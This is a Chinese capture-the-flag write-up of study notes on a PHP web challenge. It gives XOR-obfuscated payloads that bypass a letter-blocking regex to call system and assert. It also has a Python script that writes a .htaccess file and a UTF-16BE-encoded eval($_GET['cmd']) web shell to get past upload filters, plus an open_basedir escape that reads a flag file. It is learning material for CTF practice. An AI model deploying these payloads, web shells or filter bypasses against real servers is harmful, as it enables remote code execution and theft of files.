1. 正则绕过
这有一篇讲正则绕过的:正则绕过
因为题目限制了连字母都不能输入了,那么我们就可以用异或:就是让两个不可见字符,异或之后,就变成了我们想要的字符。很神奇,但是哪两个不可见字符,异或之后,就是我们想要的字符了?下面这个代码可以帮我们实现。
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); \\dechex(255) = ff
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}";
?>
但我不明白为什么,不能直接把“$_POST[‘a’];” 全都异或掉,这多省事儿了,但好像不行,而且好像还只能是GET型,我尝试了POST类型行不通。目前我就只知道它可以代替"_GET",然后配合${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo,可以执行一些函数。抛开这道题,我们还可以: http://127.0.0.1/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("type index.php");&%ff=system
。
这种思想,好像是来自一位叫p神的人,他是这么构造的,这样就可以执行任何函数了。
$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[360]);
2. 文件上传
在checkin里学的,上传.user.ini来绕过的方法,在这道题里,不管用了。因为好像必须去访问PHP文件,才会去检测user.ini的设置,也好像必须在此目录下有PHP文件,不需要访问。不管哪一个,这道题都不满足。所以我们上传.htaccess文件,但是php的版本到七点儿多了,那么<script>就不能用了,而且又过滤了“<?”,那么我们就用utf-16be来绕过 ,学到了。大佬写的脚本,学习一下:
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .lethe\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
generate_htacess()
generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")
3. open_dasedir绕过
这样我们就成功的上传的木马,并别可以解析。但是我们尝试回去跟目录下的所有文件时,发现它做了open_basedir的限制
我们在phpinfo里可以看见只可以访问网站根目录和/tmp目录,那么我们就要尝试绕过open_basedir:
<?php
ini_set("open_basedir","/tmp/:/var/www/html/");
mkdir("sub");
chdir("sub");
ini_set("open_basedir","..");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
ini_set("open_basedir","/");
var_dump(file_get_contents("/THis_Is_tHe_F14g"));
?>
深入到/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/ 共五层,那么久写五个chdir(’…’);就可以了。原理我目前的能力还看不懂。
open_basedir绕过
https://blog.csdn.net/qq_42181428/article/details/99741920
这是别人写的题解,感觉很不错,推荐一下。